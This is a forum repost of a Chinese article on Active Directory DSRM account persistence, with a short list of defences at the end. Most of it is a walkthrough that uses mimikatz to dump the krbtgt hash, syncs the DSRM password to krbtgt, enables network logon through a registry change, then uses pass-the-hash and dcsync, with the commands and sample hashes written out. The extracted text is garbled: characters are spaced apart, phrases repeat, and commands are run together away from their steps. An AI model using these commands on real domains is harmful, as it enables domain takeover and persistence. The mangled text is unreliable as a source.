搜索

[21183] 2020-08-07_域控制器DSRM账户安全防护

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-08-07_域控制器DSRM账户安全防护 域 控 制 器 D S R M 账 户 安 全 防 护 L e m o n S e c   2 0 2 0 - 0 8 - 0 7 一 、 D S R M 简 介 　 　 　 1 . D S R M （ （ D i r e t c o r y   S e r v i c e   R e s t o r e   M o d e ， 目 录 服 务 恢 复 模 式 ） 是 ， 目 录 服 务 恢 复 模 式 ） 是 w i n d o w s 域 环 境 中 域 控 制 器 的 安 全 模 式 启 动 选 项 。 域 控 制 器 的 本 域 环 境 中 域 控 制 器 的 安 全 模 式 启 动 选 项 。 域 控 制 器 的 本 地 管 理 员 账 户 也 就 是 地 管 理 员 账 户 也 就 是 D S R M 账 户 ， 账 户 ， D S R M 密 码 是 在 密 码 是 在 D C 创 建 时 设 置 的 ， 一 般 很 少 更 改 。 创 建 时 设 置 的 ， 一 般 很 少 更 改 。 D S R M 的 用 途 是 ： 允 许 管 理 员 在 域 环 境 出 现 故 的 用 途 是 ： 允 许 管 理 员 在 域 环 境 出 现 故 障 时 还 原 、 修 复 、 重 建 活 动 目 录 数 据 库 。 通 过 在 障 时 还 原 、 修 复 、 重 建 活 动 目 录 数 据 库 。 通 过 在 D C 上 运 行 上 运 行 n t d s u t i l   工 具 可 以 修 改 工 具 可 以 修 改 D S R M 密 码 。 密 码 。 　 　             2 . 修 改 D S R M 密 码 的 方 法 　 　 在 域 控 制 器 上 打 开 命 令 行 环 境 ， 输 入 “ n t d s u t i l ” ， 常 用 命 令 如 下 ：             如 果 域 控 制 器 版 本 是 w i n d o w s 2 0 0 8 （ 已 安 装 K B 9 6 1 3 2 0 ） 及 以 上 ， 可 以 将 D S R M 密 码 同 步 为 已 存 在 的 域 用 户 密 码 。 二 、 . 实 验 操 作 （ 1 ） 使 用 m i m i k a t z 查 看 k r b t g t 的 N T L M   H a s h           在 域 控 制 器 中 打 开 m i m i k a t z ， 看 到 k r b t g t 的 N T L M   H a s h 为 ： f f c 7 9 c 6 f 1 4 b b 2 c 3 9 e 6 c e a b 1 8 3 c e f c 9 c 5 （ 2 ） 使 用 m i m i k a t z 读 取 S A M 文 件 中 本 地 管 理 员 （ D S R M ） 的 N T L M   H a s h 在 域 控 制 器 中 打 开 m i m i k a t z ， 获 得 D S R M 账 号 的 N T L M   H a s h 为 ： 5 7 9 d a 6 1 8 c f b f a 8 5 2 4 7 a c f 1 f 8 0 0 a 2 8 0 a 4 　 　 s e t   d s r m   p a s s w o r d   ： 设 置 d s r m 密 码 　 　 r e s e t   p a s s w o r d   o n   s e r v e r   n u l l   ： 在 当 前 域 控 制 器 上 恢 复 d s r m 密 码 　 　 q   ： 退 出 n t d s u t i l   #   打 开 命 令 行 s e t   d s r m   p a s s w o r d s y n c   f r o m   D o m a i n   A c c o u n t   d o m a i n u s e r n a m e   #   使 d s r m 的 密 码 和 指 定 域 用 户 的 密 码 同 步 。 q ： 退 出 p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / p a t c h   / n a m e : k r b t g t 或 者 m i m i k a t z   p r i v i l e g e : : d e b u g   " l s a d u m p : : l s a   / p a t c h   / n a m e : k r b t g t "   >   k r b t g t . t x t p r i v i l e g e : : d e b u g t o k e n : : e l e v a t e l s a d u m p : : s a m
  （ 3 ） 将 D S R M 账 号 和 k r b t g t   的 N T L M   H a s h 同 步   （ 4 ） 查 看 d s r m 的 N T L M   H a s h 是 否 同 步 成 功 通 过 m i m i k a t z ， 得 到 d s r m 账 号 的 N T L M   H a s h 为 ： f f c 7 9 c 6 f 1 4 b b 2 c 3 9 e 6 c e a b 1 8 3 c e f c 9 c 5   （ 5 ） 修 改 d s r m 的 登 录 方 式 在 注 册 表 中 新 建 H K L M : S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a D s r m A d m i n L o g o n B e h a v i o r 项 。 　 　 D S R M 的 三 种 登 录 方 式 ： 　 　 0 ： 默 认 值 ， 只 有 当 域 控 制 器 重 启 并 进 入 D S R M 模 式 时 ， 才 可 以 使 用 D S R M 管 理 员 账 号 。 　 　 1 ： 只 有 当 本 地 A D 、 D S 服 务 停 止 时 ， 才 可 以 使 用 D S R M 管 理 员 账 号 登 录 域 控 制 器 。 　 　 2 ： 在 任 何 情 况 下 ， 都 可 以 使 用 D S R M 管 理 员 账 号 登 录 域 控 制 器 。 　 　 在 w i n d o w s   s e r v e r   2 0 0 0 以 后 版 本 的 操 作 系 统 中 ， 对 D S R M 使 用 控 制 台 登 录 域 控 制 器 进 行 了 限 制 .       如 果 要 使 用 D S R M 账 号 通 过 网 络 登 录 域 控 制 器 ， 需 要 将 该 值 设 置 为 2 ， 可 用 p o w e r s h e l l 进 行 更 改 。 查 看 注 册 表 ， 发 现 已 经 D s r m A d m i n L o g o n B e h a v i o r 键 值 已 设 置 为 2 . n t d s u t i l s e t   d s r m   p a s s w o r d s y n c   f r o m   D o m a i n   A c c o u n t   k r b t g t m i m i k a t z   p r i v i l e g e : : d e b u g   t o k e n : : e l e v a t e   l s a d u m p : : s a m N e w - I t e m P r o p e r t y   " H K L M : S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a "   - n a m e   " D s r m A d m i n L o g o n B e h a v i o r "   - v a l u e   2   - P r o p e r t y T y p e   D W O R D
  （ 6 ） 使 用 D S R M 账 号 通 过 网 络 远 程 登 录 域 控 制 器 使 用 m i m i k a t z 进 行 哈 希 传 递 ， 在 域 成 员 机 器 的 管 理 员 模 式 下 打 开 m i m i k a t z ， 输 入 如 下 命 令 ：   （ 7 ） 还 用 m i m i k a t z 的 d c s y n c   功 能 远 程 转 储 k r b t g t 的 N T L M   H a s h 在 哈 希 传 递 完 成 后 ， 会 弹 出 一 个 命 令 行 窗 口 ， 在 该 命 令 行 窗 口 中 打 开 m i m i k a t z 。 输 入 如 下 命 令 ：     需 要 注 意 路 径 ： 新 开 的 窗 口 在 s y s t e m 3 2 下 ， 需 要 切 换 到 m i m i k a t z 所 在 目 录 操 作 。 p r i v i l e g e : : d e b u g s e k u r l s a : : p t h   / d o m a i n : D C   / u s e r : a d m i n i s t r a t o r   / n t l m : f f c 7 9 c 6 f 1 4 b b 2 c 3 9 e 6 c e a b 1 8 3 c e f c 9 c 5 m i m i k a t z   " l s a d u m p : : d c s y n c   / d o m a i n : p a y l o a d . c o m   / d c : w i n - d c   / u s e r : k r b t g t "
  三 、 D S R M 更 改 的 防 御 措 施 　 　 　 　 1 . 定 期 检 查 注 册 表 中 用 于 控 制 定 期 检 查 注 册 表 中 用 于 控 制 D S R M 登 录 方 式 的 键 值 登 录 方 式 的 键 值 H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a D s r m A d m i n L o g o n B e h a v i o r ， 确 认 ， 确 认 该 键 值 为 该 键 值 为 1 ， 或 者 删 除 该 键 值 。 ， 或 者 删 除 该 键 值 。 　 　 　 　 2 . 定 期 修 改 域 中 所 有 域 控 制 器 的 定 期 修 改 域 中 所 有 域 控 制 器 的 D S R M 账 号 。 账 号 。 　 　 　 　 3 . 经 常 检 查 经 常 检 查 I D 为 为 4 7 9 4 的 日 志 ， 尝 试 设 置 活 动 目 录 服 务 还 原 模 式 的 管 理 员 密 码 会 被 记 录 在 的 日 志 ， 尝 试 设 置 活 动 目 录 服 务 还 原 模 式 的 管 理 员 密 码 会 被 记 录 在 4 7 9 4 日 志 中 。 日 志 中 。 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” 原 文 地 址 ： h t t p s : / / w w w . c n b l o g s . c o m / m i c r 0 6 7 / p / 1 2 3 3 0 6 6 1 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理